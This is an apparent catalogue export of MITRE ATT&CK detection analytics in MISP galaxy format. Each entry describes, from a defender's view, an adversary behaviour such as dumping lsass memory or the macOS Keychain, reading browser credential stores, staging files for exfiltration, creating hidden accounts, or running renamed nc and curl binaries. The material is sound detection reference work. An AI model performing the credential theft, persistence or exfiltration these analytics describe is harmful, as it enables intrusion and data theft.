The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0400 - AN0400"*

Table 5864. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0143#AN0400

Analytic 0040 - AN0040

Detects staging of sensitive files into temporary or public directories, compression with 7zip/WinRAR, or batch copy prior to exfiltration.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0040 - AN0040"*

Table 5865. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0014#AN0040

Analytic 0500 - AN0500

Correlated evidence where Safari/Chrome/WebKit-based processes issue network requests for uncommon or obfuscated JS resources followed by spawning of script interpreters, launchd or ad-hoc binaries, unusual child processes, or dynamic library loads into browser processes. Defender sees: proxy/HTTP logs with suspicious resource content + unifiedlogs/ASL showing browser/plugin crashes or extension loads + process events indicating child process creation and file writes to /var/folders or /tmp shortly after the fetch.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0500 - AN0500"*

Table 5866. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0176#AN0500

Analytic 0005 - AN0005

Detects pub/sub traffic over unusual ports, high-frequency topic publications, and connections to known-bad or dynamic broker endpoints outside allowlisted infrastructure.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0005 - AN0005"*

Table 5867. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0002#AN0005

Analytic 0050 - AN0050

Adversary attempts to detect monitoring agents such as Little Snitch, KnockKnock, or other system daemons via process listing (`ps -e`), application folder checks, and system extension listing.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0050 - AN0050"*

Table 5868. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0016#AN0050

Analytic 0060 - AN0060

Correlates zsh shell configuration file changes (e.g., ~/.zshrc, ~/.zlogin, /etc/zprofile) with execution of unauthorized binaries or unexpected network activity triggered on Terminal.app launch.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0060 - AN0060"*

Table 5869. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0020#AN0060

Analytic 0006 - AN0006

Adversary uses built-in tools such as 'net user /add /domain' or PowerShell to create a domain user account. The behavior chain includes: (1) suspicious process execution on a domain controller followed by (2) user account creation event (Event ID 4720) on the same host.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0006 - AN0006"*

Table 5870. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0003#AN0006

Analytic 0600 - AN0600

Detection of shell scripts, ELF binaries, or archives containing embedded secondary payloads, self-extracting components, or unusual compression behavior during runtime.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0600 - AN0600"*

Table 5871. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0214#AN0600

Analytic 0070 - AN0070

Detects abnormal interaction with memory-based Kerberos ccache (API:{uuid}) or file-based overrides. Focus on processes attempting to enumerate or extract Kerberos tickets outside of built-in utilities. Detects use of open-source tools (e.g., Bifrost, modified Mimikatz ports) that interact with the Kerberos framework APIs.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0070 - AN0070"*

Table 5872. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0024#AN0070

Analytic 0700 - AN0700

Execution of Homebrew, pip3, npm, or manually downloaded PKGs from Terminal or shell, followed by the creation of startup agents, interpreter spawns, or outbound connections to unfamiliar domains. Defender links Terminal commands to plist creation, unsigned binary launches, and `python3` or `node` processes connecting to remote endpoints.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0700 - AN0700"*

Table 5873. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0252#AN0700

Analytic 0007 - AN0007

Adversary with access to domain management tools (e.g., `realmd`, `samba-tool`, `ldapmodify`) creates a new domain user via command-line utilities. Behavior chain: LDAP command or script triggers → user entry added in AD via Kerberos/LDAP traffic.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0007 - AN0007"*

Table 5874. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0003#AN0007

Analytic 0008 - AN0008

macOS clients joined to AD via LDAP may script account provisioning via `dsconfigad`, `dscl`, or LDAP scripts. Detection occurs when such tools run on a domain-joined system, followed by authentication attempts by a previously unseen account.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0008 - AN0008"*

Table 5875. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0003#AN0008

Analytic 0800 - AN0800

Correlates suspicious removal or modification of the com.apple.quarantine extended attribute, manipulation of LSFileQuarantineEnabled values in Info.plist, and unexpected process execution of unsigned or non-notarized binaries. Also monitors abnormal trust validation failures in unified logs and unusual activity in QuarantineEvents database entries.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0800 - AN0800"*

Table 5876. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0288#AN0800

Analytic 0080 - AN0080

Processes invoking network-intensive child processes or uploading large data volumes, often from non-standard user or system contexts, with evidence of long-duration TCP/UDP sessions to unusual destinations.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0080 - AN0080"*

Table 5877. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0028#AN0080

Analytic 0090 - AN0090

Binaries or applications executed with tampered or unverifiable code signatures. Often tied to Gatekeeper bypasses, App Translocation, or use of unsigned launch daemons by untrusted users.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0090 - AN0090"*

Table 5878. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0031#AN0090

Analytic 0900 - AN0900

Adversaries use cloud API, CLI, or console to create IAM users or roles. Initial CreateUser is followed by policy/role attachment. Detection monitors temporal chains involving IAM:CreateUser, AttachUserPolicy, and credential generation, especially from automation or foreign IP ranges.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0900 - AN0900"*

Table 5879. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0319#AN0900

Analytic 0009 - AN0009

Abnormal modification of the PATH environment variable or registry keys controlling system paths, combined with execution of binaries named after legitimate system tools from user-writable directories. Defender correlates registry modifications, file creation of suspicious binaries, and process execution paths inconsistent with baseline system directories.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0009 - AN0009"*

Table 5880. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0004#AN0009

Analytic 0110 - AN0110

Monitor /var/log/audit/audit.log and DNS resolver logs for repeated failed lookups or connections to high-entropy domain names. Correlate suspicious DNS queries with process lineage (e.g., Python, bash, or unusual system daemons).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0110 - AN0110"*

Table 5881. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0039#AN0110

Analytic 0101 - AN0101

Non-interactive system processes making encrypted HTTPS connections to well-known web services followed by high outbound traffic volume or scripted upload patterns.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0101 - AN0101"*

Table 5882. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0035#AN0101

Analytic 1001 - AN1001

Registry modifications to HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList setting user visibility to 0, or creation of user accounts not shown on login screen. Defender view: correlation of account creation with registry edits that mark users hidden.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1001 - AN1001"*

Table 5883. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0353#AN1001

Analytic 1010 - AN1010

Detect abnormal use of email clients (e.g., Outlook, Thunderbird) showing mass arrival of messages or repetitive attachments being locally stored. Correlate message volume with file creation activity in mail cache directories.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1010 - AN1010"*

Table 5884. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0355#AN1010

Analytic 0011 - AN0011

Modification of PATH or HOME environment variables through shell config files, launchctl, or /etc/paths.d entries, combined with process execution from attacker-controlled directories. Defender correlates file changes in /etc/paths.d with process execution resolving to malicious binaries.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0011 - AN0011"*

Table 5885. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0004#AN0011

Analytic 1100 - AN1100

Adversary spawns a process or script to enumerate installed software using WMI, registry, or PowerShell, potentially followed by additional discovery or evasion behavior.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1100 - AN1100"*

Table 5886. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0392#AN1100

Analytic 1020 - AN1020

Suspicious processes (e.g., Tor clients, relays, unknown binaries) launch with sustained encrypted outbound traffic to known anonymity infrastructure (e.g., Tor, I2P), and may relay to additional internal systems via reverse proxying, ICMP tunneling, or socket forwarding.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1020 - AN1020"*

Table 5887. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0359#AN1020

Analytic 1200 - AN1200

Monitors Keychain database access and suspicious invocations of security and osascript utilities. Correlates process execution with attempts to dump or unlock Keychain data.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1200 - AN1200"*

Table 5888. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0430#AN1200

Analytic 1002 - AN1002

Use of gsettings or direct Display Manager modifications to hide users from greeter login screen. Defender view: anomalous command execution modifying org.gnome.login-screen or other greeter configurations.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1002 - AN1002"*

Table 5889. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0353#AN1002

Analytic 0102 - AN0102

Scripting engines (e.g., osascript, Python) initiating HTTPS requests to social media or content-sharing platforms, paired with automated response handling indicative of two-way communication.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0102 - AN0102"*

Table 5890. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0035#AN0102

Analytic 0210 - AN0210

Detects embedded or emulated VBScript/VBA execution via Wine-based apps, Office for Mac abusing cross-platform .NET features, or macros dropped and invoked via AppleScript or third-party automation tools.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0210 - AN0210"*

Table 5891. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0076#AN0210

Analytic 0201 - AN0201

Anomalous access to cloud web applications using session tokens without corresponding MFA/credential validation, often from unusual locations or device fingerprints.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0201 - AN0201"*

Table 5892. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0074#AN0201

Analytic 2010 - AN2010

Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) Monitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links and identifying obfuscated URLs) can also help detect links leading to known malicious sites.(Citation: Mandiant URL Obfuscation 2023)

Furthermore, monitor browser logs for homographs in ASCII and in internationalized domain names abusing different character sets (e.g. Cyrillic vs Latin versions of trusted sites). Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Monitor and analyze traffic patterns and packet inspection associated to protocol(s), leveraging SSL/TLS inspection for encrypted traffic, that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).

Furthermore, monitor network traffic for homographs via the use of internationalized domain names abusing different character sets (e.g. Cyrillic vs Latin versions of trusted sites). Also monitor and analyze traffic patterns and packet inspection for indicators of cloned websites. For example, if adversaries use HTTrack to clone websites, <code> Mirrored from (victim URL)</code> may be visible in the HTML section of packets.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 2010 - AN2010"*

Table 5893. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0878#AN2010
https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide
https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf
https://www.mandiant.com/resources/blog/url-obfuscation-schema-abuse

Analytic 0021 - AN0021

Adversary manipulates dependencies/dev tools used by developers or CI: a package manager (npm/yarn/pnpm, pip/pipenv, nuget/dotnet, chocolatey/winget, maven/gradle) or a compiler/IDE downloads or restores content; files are written under project paths and execution paths (node_modules, packages, .nuget, .gradle, .m2, %AppData%\npm, %UserProfile%\.cargo\bin, temp build dirs). First run of newly written components triggers scripts (preinstall/postinstall), shell/PowerShell spawning, or loader DLLs, followed by network egress to non-approved registries/CDNs.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0021 - AN0021"*

Table 5894. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0009#AN0021

Analytic 2001 - AN2001

Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 2001 - AN2001"*

Table 5895. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0869#AN2001

Analytic 0120 - AN0120

Detection of commands accessing locale, timezone, or language settings such as 'locale', 'timedatectl', or parsing /etc/timezone. Anomalous execution by unusual users or automation scripts should be flagged.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0120 - AN0120"*

Table 5896. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0043#AN0120

Analytic 0012 - AN0012

Execution of binaries where the on-disk filename does not match PE metadata such as OriginalFilename or InternalName. Often observed with renamed LOLBAS or system binaries like rundll32, powershell, or psexec.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0012 - AN0012"*

Table 5897. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0005#AN0012

Analytic 0103 - AN0103

Adversary registers new devices to compromised user accounts to bypass MFA or conditional access policies via Azure Entra ID, Okta, or Duo self-enrollment portals.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0103 - AN0103"*

Table 5898. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0036#AN0103

Analytic 0130 - AN0130

Detection focuses on processes that attempt to locate, access, or exfiltrate local Outlook data files (.pst/.ost) using file system access, native Windows utilities (e.g., PowerShell, WMI), or remote access tools with file browsing capabilities. The behavior chain includes directory enumeration, file access, optional compression or staging, and network transfer.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0130 - AN0130"*

Table 5899. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0047#AN0130

Analytic 1030 - AN1030

A non-privileged or abnormal process attempts to open a handle with full access (0x1F0FFF) to lsass.exe and subsequently invokes memory dump, file creation, or registry modification indicative of credential scraping. This behavior chain reflects staged credential theft activity.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1030 - AN1030"*

Table 5900. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0363#AN1030

Analytic 0013 - AN0013

Execution of renamed or relocated native macOS utilities with uncommon names or non-default paths (e.g., renamed `osascript`, `bash`, or `curl`).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0013 - AN0013"*

Table 5901. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0005#AN0013

Analytic 1300 - AN1300

Detects modification of shared network folders via .app bundles or scripting files with hidden extensions (e.g., double extensions like docx.app).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1300 - AN1300"*

Table 5902. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0471#AN1300

Analytic 0031 - AN0031

Outbound traffic with anomalous payload sizes and patterns from non-networking processes, often observed via packet inspection or connection logs.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0031 - AN0031"*

Table 5903. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0011#AN0031

Analytic 0310 - AN0310

Detection monitors SaaS collaboration tools (e.g., Slack, Zoom, Jira) for messages or files containing credential-like patterns, or for suspicious API calls retrieving bulk chat histories by non-admin users. Identifies adversary behavior chains where chat logs are queried via APIs or integration bots to systematically extract sensitive material.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0310 - AN0310"*

Table 5904. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0111#AN0310

Analytic 1003 - AN1003

User creation or modification via dscl with IsHidden=1, UID<500, or plist edits to com.apple.loginwindow Hide500Users flag. Defender view: correlation of hidden account attributes with login screen exclusion.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1003 - AN1003"*

Table 5905. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0353#AN1003

Analytic 0301 - AN0301

Detection of OAuth consent phishing or malicious login attempts initiated through spearphishing links. Behavior chain includes inbound email with OAuth URL → consent page visited → unusual token grants logged in IdP logs.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0301 - AN0301"*

Table 5906. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0107#AN0301

Analytic 0410 - AN0410

Detection of firewall ACL or rule base changes through CLI (e.g., no access-list, permit any any). Monitor configuration commits from unusual users or sessions.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0410 - AN0410"*

Table 5907. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0145#AN0410

Analytic 1400 - AN1400

Detects ptrace- or memfd-based process injection through audit logs capturing system calls (e.g., ptrace, mmap) targeting running processes along with suspicious file descriptors or memory writes.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1400 - AN1400"*

Table 5908. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0508#AN1400

Analytic 1004 - AN1004

Unusual or unauthorized external remote access attempts (e.g., RDP, VPN, Citrix) → repeated failed logins followed by a successful session from uncommon geolocations or outside business hours → subsequent internal lateral movement or data exfiltration activities.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1004 - AN1004"*

Table 5909. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0354#AN1004

Analytic 1040 - AN1040

Execution of file enumeration commands (e.g., 'dir', 'tree') from non-standard processes or unusual user contexts, followed by recursive directory traversal or access to sensitive locations.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1040 - AN1040"*

Table 5910. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0370#AN1040

Analytic 0401 - AN0401

Unexpected processes (e.g., bash, python, custom binaries) dynamically loading libcrypto or performing AES/RC4 encryption operations, then initiating outbound sessions with abnormal byte entropy or asymmetric traffic patterns.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0401 - AN0401"*

Table 5911. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0143#AN0401

Analytic 0014 - AN0014

Execution of renamed common utilities (e.g., `bash`, `nc`, `python`, `sh`) from atypical directories or with names intended to deceive defenders or EDRs.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0014 - AN0014"*

Table 5912. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0005#AN0014

Analytic 0104 - AN0104

Adversary registers a Windows device to Entra ID or bypasses conditional access by adding device via Intune registration pipeline using stolen credentials.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0104 - AN0104"*

Table 5913. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0036#AN0104

Analytic 0041 - AN0041

Detects script or user activity copying files to a central temp or /mnt directory followed by archive/compression utilities.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0041 - AN0041"*

Table 5914. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0014#AN0041

Analytic 0140 - AN0140

Adversaries writing or moving payloads into directories configured as AV/EDR exclusion paths (e.g., /tmp, /var/lib, or custom directories from auditd exclusion rules). Defender perspective: detect file creation in paths matching known exclusions correlated with unusual parent processes.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0140 - AN0140"*

Table 5915. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0051#AN0140

Analytic 0150 - AN0150

Internal spearphishing via SaaS applications (e.g., Slack, Teams, Gmail): message sent from compromised user with attachment or URL, followed by click and credential access behavior.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0150 - AN0150"*

Table 5916. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0054#AN0150

Analytic 0501 - AN0501

Post-compromise identity & session anomalies that follow a drive-by compromise: token reuse from new/unfamiliar IPs, anomalous sign-in patterns for previously inactive users, unexpected consent/grant events, or provisioning changes. Defender sees an endpoint/browser compromise (network + endpoint signals) followed by unusual IdP events: new refresh token issuance, consent/consent-grant events, odd MFA bypass patterns, or unusual OAuth client registrations.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0501 - AN0501"*

Table 5917. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0176#AN0501

Analytic 0015 - AN0015

From a defender's perspective, suspicious bridging is observed when network devices begin allowing traffic that contradicts existing segmentation or access policies. Observable behaviors include sudden modifications to ACLs or firewall rules, unusual cross-boundary traffic flows (e.g., east-west communications across separated VLANs), or simultaneous ingress/egress anomalies. Multi-event correlation is key: configuration changes on a router/firewall followed by unexpected traffic patterns, especially from unusual sources, is a strong indicator of compromise.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0015 - AN0015"*

Table 5918. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0006#AN0015

Analytic 1500 - AN1500

Encrypted sessions detected with asymmetric key exchange anomalies on non-standard ports or with invalid/malformed certs. Defender correlates NetFlow/IPFIX with IDS/IPS detecting RSA exchanges outside expected TLS flows.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1500 - AN1500"*

Table 5919. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0543#AN1500

Analytic 0510 - AN0510

Detection correlates file creation or modification of `.lnk` (shortcut) files in autostart locations with anomalous parent-child process lineage or unsigned binaries. Defenders should watch for LNK creation/modification events outside of known software installations, patch events, or OS updates. Flag shortcut targets pointing to suspicious locations or unknown binaries, particularly those written by script interpreters or spawned from phishing delivery chains.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0510 - AN0510"*

Table 5920. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0180#AN0510

Analytic 0051 - AN0051

Correlated modification of AppCompat registry keys and execution of sdbinst.exe to install custom shim databases. Followed by DLL injection via shim behavior into target application processes.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0051 - AN0051"*

Table 5921. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0017#AN0051

Analytic 1050 - AN1050

Execution of AppleScript, bash, or launchd jobs that invoke delay functions (e.g., sleep, delay in AppleScript) with limited parent interaction and staged follow-on commands.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1050 - AN1050"*

Table 5922. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0372#AN1050

Analytic 1005 - AN1005

Repeated SSH, VPN, or RDP gateway authentication attempts from external IPs → subsequent successful logon → remote shell or lateral movement activity (e.g., scp/sftp).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1005 - AN1005"*

Table 5923. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0354#AN1005

Analytic 0105 - AN0105

Detects unauthorized access to web browser credential stores (e.g., Chrome Login Data, Edge Credential Locker) by processes other than the browser itself. Correlates file reads of credential databases with subsequent API calls to `CryptUnprotectData` or memory inspection attempts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0105 - AN0105"*

Table 5924. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0037#AN0105

Analytic 0061 - AN0061

Adversary disables or stops critical services (e.g., Exchange, SQL, AV, endpoint monitoring) using native utilities or API calls, often preceding destructive actions (T1485, T1486). Behavioral chain: Elevated execution context + stop-service or sc.exe or ChangeServiceConfigW + terminated or disabled service + possible follow-up file manipulation.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0061 - AN0061"*

Table 5925. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0021#AN0061

Analytic 1006 - AN1006

Unexpected inbound or outbound VNC/SSH/Screen Sharing connections from external sources → repeated failed logins followed by success → remote interactive sessions or abnormal file transfers.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1006 - AN1006"*

Table 5926. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0354#AN1006

Analytic 1060 - AN1060

Detects lateral discovery or container breakout attempts using netcat, curl, or custom binaries probing other services within the same namespace or VPC subnet.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1060 - AN1060"*

Table 5927. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0376#AN1060

Analytic 0160 - AN0160

Detection of a process or script that accesses a common web service to retrieve content containing obfuscated indicators of a secondary C2 server (dead drop resolver behavior).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0160 - AN0160"*

Table 5928. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0058#AN0160

Analytic 0601 - AN0601

Detection of Mach-O binaries or AppleScripts that contain nested, encoded, or run-only embedded payloads dropped at runtime.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0601 - AN0601"*

Table 5929. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0214#AN0601

Analytic 0016 - AN0016

Adversary uses nltest, PowerShell, or Win32/.NET API to enumerate domain trust relationships (via DSEnumerateDomainTrusts, GetAllTrustRelationships, or LDAP queries), followed by discovery or authentication staging.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0016 - AN0016"*

Table 5930. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0007#AN0016

Analytic 0106 - AN0106

Detects attempts to access browser credential stores (e.g., Firefox `logins.json`, Chrome SQLite DB) or processes (e.g., gnome-keyring-daemon). Observes unauthorized file reads and memory inspection of browser processes using ptrace or gdb.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0106 - AN0106"*

Table 5931. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0037#AN0106

Analytic 0610 - AN0610

Adversary manipulation of shared library paths, environment variables, or replacement of service binaries. Defender observes suspicious modifications in /etc/ld.so.preload, service config changes, or file writes replacing existing executables.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0610 - AN0610"*

Table 5932. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0218#AN0610

Analytic 1600 - AN1600

Curl, wget, or custom HTTP clients initiated by uncommon user accounts or cron jobs to popular web services, with no observed response parsing logic.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1600 - AN1600"*

Table 5933. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0581#AN1600

Analytic 1007 - AN1007

Connections to exposed container services (e.g., Docker API, Kubernetes API server) from unauthorized external IPs → abnormal container creation/start → lateral activity within cluster nodes.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1007 - AN1007"*

Table 5934. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0354#AN1007

Analytic 0107 - AN0107

Detects abnormal access to Safari credential stores (Keychain-backed) or Chrome/Firefox login databases. Observes processes executing `security dump-keychain` or directly reading credential files in `~/Library/Application Support`. Correlates file access with suspicious process ancestry or unsigned binaries.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0107 - AN0107"*

Table 5935. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0037#AN0107

Analytic 0710 - AN0710

Suspicious reuse of SSH agent sockets across multiple users or processes, anomalous access to ~/.ssh/ or /tmp/ssh-* sockets, and abnormal patterns of lateral movement via SSH without new authentication events. Defender view: detect when one process accesses another user's SSH agent or when an existing SSH connection is used to pivot unexpectedly.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0710 - AN0710"*

Table 5936. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0256#AN0710

Analytic 0170 - AN0170

Detects modification of registry keys used for default file handlers, followed by anomalous process execution from user-initiated file opens. This includes tracking changes under HKCU and HKCR for file extension mappings, and correlating them with new or suspicious handler paths launching unusual child processes (e.g., PowerShell, cmd, wscript).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0170 - AN0170"*

Table 5937. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0061#AN0170

Analytic 0701 - AN0701

Detects the creation or modification of `.service` unit files in system/user-level directories, combined with execution of `systemctl`, `service`, or dynamically created drop-ins via systemd generators. Detects persistence by analyzing the `ExecStart` path, file entropy, and symlink usage, especially when paired with execution from `/tmp`, `/dev/shm`, or unmounted volumes.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0701 - AN0701"*

Table 5938. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0253#AN0701

Analytic 1070 - AN1070

Adversaries collecting local files via PowerShell, WMI, or direct file API calls often include recursive file listings, targeted file reads, and temporary file staging.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1070 - AN1070"*

Table 5939. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0380#AN1070

Analytic 0017 - AN0017

Cloud login from atypical geolocation or user-agent string, followed by resource enumeration or infrastructure manipulation using cloud CLI/API

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0017 - AN0017"*

Table 5940. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0008#AN0017

Analytic 0071 - AN0071

Abuse of trusted Electron apps (Teams, Slack, Chrome) to spawn child processes or execute payloads via malicious command-line arguments (e.g., --gpu-launcher) and modified app resources (.asar). Behavior chain: suspicious parent process (Electron app) → unusual command-line args → child process creation → optional DLL/network artifacts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0071 - AN0071"*

Table 5941. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0025#AN0071

Analytic 1700 - AN1700

Network traffic analysis may reveal processes communicating with malicious domains.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1700 - AN1700"*

Table 5942. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0629#AN1700

Analytic 0081 - AN0081

User-initiated processes generating sustained outbound traffic over common or non-standard ports, often outside business hours, potentially linked to scanning or proxyjacking. Includes curl, wget, masscan, or proxy clients.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0081 - AN0081"*

Table 5943. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0028#AN0081

Analytic 1008 - AN1008

